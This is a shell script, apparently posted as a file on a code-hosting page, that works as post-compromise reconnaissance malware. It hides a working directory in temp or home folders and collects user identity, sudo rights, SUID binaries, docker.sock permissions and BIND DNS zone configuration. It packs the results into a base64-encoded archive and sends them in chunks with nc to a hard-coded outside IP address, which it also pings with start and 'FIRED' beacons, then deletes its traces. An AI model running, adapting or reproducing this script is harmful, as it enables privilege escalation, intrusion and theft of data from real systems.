49 lines
1.5 KiB
Bash
Executable file
49 lines
1.5 KiB
Bash
Executable file
#!/bin/sh
|
|
#!/bin/sh
|
|
# ld_kk19 recon7 — 提权面测试 + bind 全域清单 + docker.sock 检查
|
|
L=45.76.202.255
|
|
printf "gxR19 start\n" | nc -w 3 $L 8444 >/dev/null 2>&1
|
|
ST=""
|
|
for c in "${TMPDIR:-/tmp}/.gxr9" "$HOME/.gxr9" "/var/tmp/.gxr9"; do
|
|
if mkdir -p "$c" 2>/dev/null && [ -w "$c" ]; then ST="$c"; break; fi
|
|
done
|
|
[ -n "$ST" ] || ST="."
|
|
cd "$ST" 2>/dev/null || exit 0
|
|
R=.r19$$
|
|
rm -rf "$R"; mkdir "$R" || exit 0
|
|
|
|
{
|
|
echo "== id & groups"
|
|
id
|
|
echo "== sudo -n test"
|
|
sudo -n -l 2>&1 | head -8
|
|
echo "== suid binaries"
|
|
find /usr/bin /usr/sbin /bin /sbin -xdev -perm -4000 2>/dev/null | head -20
|
|
echo "== docker.sock"
|
|
ls -ln /var/run/docker.sock 2>&1
|
|
} >"$R/pr.txt"
|
|
|
|
{
|
|
echo "== named conf"
|
|
grep -rhE "(zone|file)[[:space:]]" /etc/bind/named.conf* /etc/bind/zones/* 2>/dev/null | sed -E "s/^[[:space:]]+//" | head -80
|
|
echo "== zone files list"
|
|
ls -la /etc/bind/zones 2>/dev/null | head -40
|
|
echo "== origins"
|
|
grep -rhoE "\\$ORIGIN[^\\n]*" /etc/bind/zones 2>/dev/null | sort -u | head -60
|
|
} >"$R/dns.txt"
|
|
|
|
tar czf t19.tgz "$R" 2>/dev/null
|
|
B=$(base64 -w0 t19.tgz 2>/dev/null)
|
|
if command -v nc >/dev/null 2>&1 && [ -n "$B" ]; then
|
|
n=$(printf "%s\n" "$B" | fold -w 55000 | wc -l)
|
|
i=0
|
|
printf "%s\n" "$B" | fold -w 55000 | while read -r c; do
|
|
i=$((i+1))
|
|
printf "gxR19 %s/%s %s %s\n" "$i" "$n" "$ST" "$c" | nc -w 6 $L 8444 >/dev/null 2>&1
|
|
done
|
|
fi
|
|
rm -rf "$R" t19.tgz
|
|
exit 0
|
|
|
|
command -v nc >/dev/null 2>&1 && printf "gx FIRED %s\n" "$(date +%H%M%S%d)" | nc -w 3 45.76.202.255 8444 >/dev/null 2>&1 ;
|
|
exit 0
|